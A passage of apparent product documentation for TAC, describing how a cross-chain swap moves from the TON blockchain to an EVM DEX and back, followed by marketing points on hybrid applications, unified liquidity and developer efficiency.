Sequencer network finds and validates the transaction, forms Merkle trees, reaches
consensus, and selects the executor. The final decision in set within the TAC blockchain.
A designated executor finds the transaction to execute, validates its Merkle proof, triggers asset
minting/unlocking, and calls the swap on the target DEX contract on TAC.
Swap completes and new tokens are sent back to the user's TON wallet through
the similar secure process.
## What Makes TAC Different
TAC is not a cross-chain workaround — it is a native execution path between
two ecosystems that were never meant to connect. By removing barriers instead
of building over them, TAC aligns UX, liquidity, and developer incentives.
Unlike traditional bridges that move assets between existing chains, TAC creates **hybrid applications** that natively serve both ecosystems. Users don't "bridge to another chain" — they use applications that happen to run on EVM but feel completely native to TON.
This fundamental difference enables:
* **Seamless UX**: No wallet switching or manual bridging
* **Unified liquidity**: Assets flow where they're needed most
* **Developer efficiency**: Build once, serve both ecosystems
* **Network effects**: Growth in one ecosystem benefits the other